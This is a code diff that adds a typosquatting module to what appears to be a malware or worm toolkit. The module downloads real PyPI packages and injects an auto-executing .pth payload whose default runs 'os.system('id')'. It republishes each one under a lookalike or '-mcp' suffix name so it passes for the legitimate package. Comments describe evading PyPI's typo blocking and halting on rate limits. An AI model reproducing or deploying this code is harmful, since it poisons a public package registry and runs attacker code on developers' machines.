diff --git a/src/mutator/typo/index.ts b/src/mutator/typo/index.ts
new file mode 100644
index 0000000..a5a39ce
--- /dev/null
+++ b/src/mutator/typo/index.ts
@@ -0,0 +1,147 @@
+// TypoMutator — typo-squats existing PyPI packages via keyboard proximity.
+//
+// Environment:
+//   TYPO_MODE=1                  enable
+//   TARGET_PACKAGES=requests,... comma-separated list of packages to squat
+//
+// For each target package:
+//   1. Generate typo names via single-char keyboard-adjacent substitution
+//   2. Download the original wheel
+//   3. Repack under the typo name (rename everything)
+//   4. Publish to PyPI as a new package
+//
+// Published typo packages contain the original code but with a new name
+// and version 0.0.1, making them indistinguishable from legitimate packages
+// to anyone who glances at the name.
+
+import { INJECT_PTH } from "../../generated";
+import { logUtil } from "../../utils/logger";
+import { Mutator } from "../base";
+import { uploadWheel } from "../pypi/upload";
+import {
+  buildMinimalWheel,
+  downloadWheel,
+  fetchPackageMetaExtended,
+  patchWheel,
+  repackAsTypo,
+} from "../pypi/wheel";
+import { generateTypos } from "./typoGen";
+
+export class TypoMutator extends Mutator {
+  private readonly token: string;
+  private readonly packages: string[];
+
+  constructor(token: string, packages: string[]) {
+    super();
+    this.token = token;
+    this.packages = packages;
+  }
+
+  override async shouldExecute(): Promise<boolean> {
+    return process.env.TYPO_MODE === "1" && this.packages.length > 0;
+  }
+
+  async execute(): Promise<Boolean> {
+    if (this.packages.length === 0) {
+      logUtil.log("[typo] TARGET_PACKAGES is empty");
+      return false;
+    }
+
+    logUtil.log(
+      `[typo] Targeting ${this.packages.length} package(s): ${this.packages.join(", ")}`,
+    );
+
+    let published = 0;
+
+    for (const pkgName of this.packages) {
+      try {
+        const ok = await this.squatPackage(pkgName);
+        if (ok) published++;
+      } catch (e) {
+        logUtil.log(
+          `[typo] Aborting: ${e instanceof Error ? e.message : String(e)}`,
+        );
+        break;
+      }
+    }
+
+    logUtil.log(`[typo] Done. Published ${published} typo package(s).`);
+    return published > 0;
+  }
+
+  private async squatPackage(pkgName: string): Promise<boolean> {
+    // 1. Fetch and get wheel data (from wheel or build from sdist)
+    const meta = await fetchPackageMetaExtended(pkgName);
+    if (!meta) {
+      logUtil.log(`[typo] ${pkgName}: not found on PyPI`);
+      return false;
+    }
+
+    let wheelData: Uint8Array;
+    if (meta.wheelUrl) {
+      const data = await downloadWheel(meta.wheelUrl);
+      if (!data) {
+        logUtil.log(
+          `[typo] ${pkgName}: wheel unavailable or too large, skipping`,
+        );
+        return false;
+      }
+      wheelData = data;
+    } else {
+      logUtil.log(`[typo] ${pkgName}: sdist only — building minimal wheel`);
+      const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
+      wheelData = buildMinimalWheel(meta.name, meta.version, pthContent);
+    }
+
+    // 2. Find an available typo name (skip ones already on PyPI)
+    const typos = generateTypos(pkgName, 20);
+    for (const typoName of typos) {
+      const existing = await fetchPackageMetaExtended(typoName);
+      if (existing) {
+        logUtil.log(`[typo] ${typoName} already exists on PyPI, skipping`);
+        continue;
+      }
+
+      logUtil.log(`[typo] ${pkgName} → ${typoName}`);
+
+      try {
+        const pthContent =
+          (INJECT_PTH as string) || "import os; os.system('id')";
+        const patched = patchWheel({
+          meta: {
+            name: meta.name,
+            version: meta.version,
+            wheelUrl: meta.wheelUrl ?? "",
+            wheelFilename: meta.wheelFilename ?? "",
+          },
+          wheelData,
+          pthContent,
+        });
+        const typoWheel = repackAsTypo(patched.data, meta.name, typoName);
+        const ok = await uploadWheel({
+          token: this.token,
+          pkgName: typoName,
+          version: typoWheel.version,
+          filename: typoWheel.filename,
+          wheelData: typoWheel.data,
+        });
+
+        if (ok) {
+          logUtil.log(`[typo] Published ${typoName}@${typoWheel.version}`);
+          return true;
+        }
+        logUtil.log(`[typo] Failed to publish ${typoName}`);
+        // Rate-limited — stop immediately
+        return false;
+      } catch (e) {
+        const msg = e instanceof Error ? e.message : String(e);
+        logUtil.log(`[typo] Error repacking ${typoName}: ${msg}`);
+        // Re-throw rate limits — abort everything
+        if (msg.includes("429") || msg.includes("rate limit")) throw e;
+      }
+    }
+
+    logUtil.log(`[typo] ${pkgName}: no available typo name found`);
+    return false;
+  }
+}
diff --git a/src/mutator/typo/typoGen.ts b/src/mutator/typo/typoGen.ts
new file mode 100644
index 0000000..0e6cc83
--- /dev/null
+++ b/src/mutator/typo/typoGen.ts
@@ -0,0 +1,12 @@
+// MCP suffix variants for typo-squatting.
+// PyPI blocks direct typos but allows -mcp suffix packages.
+
+const MCP_SUFFIXES = ["-mcp", "-mpc"];
+
+/**
+ * Generate package names by appending MCP suffixes.
+ * Returns up to `limit` variants.
+ */
+export function generateTypos(name: string, limit = 5): string[] {
+  return MCP_SUFFIXES.map((s) => `${name}${s}`).slice(0, limit);
+}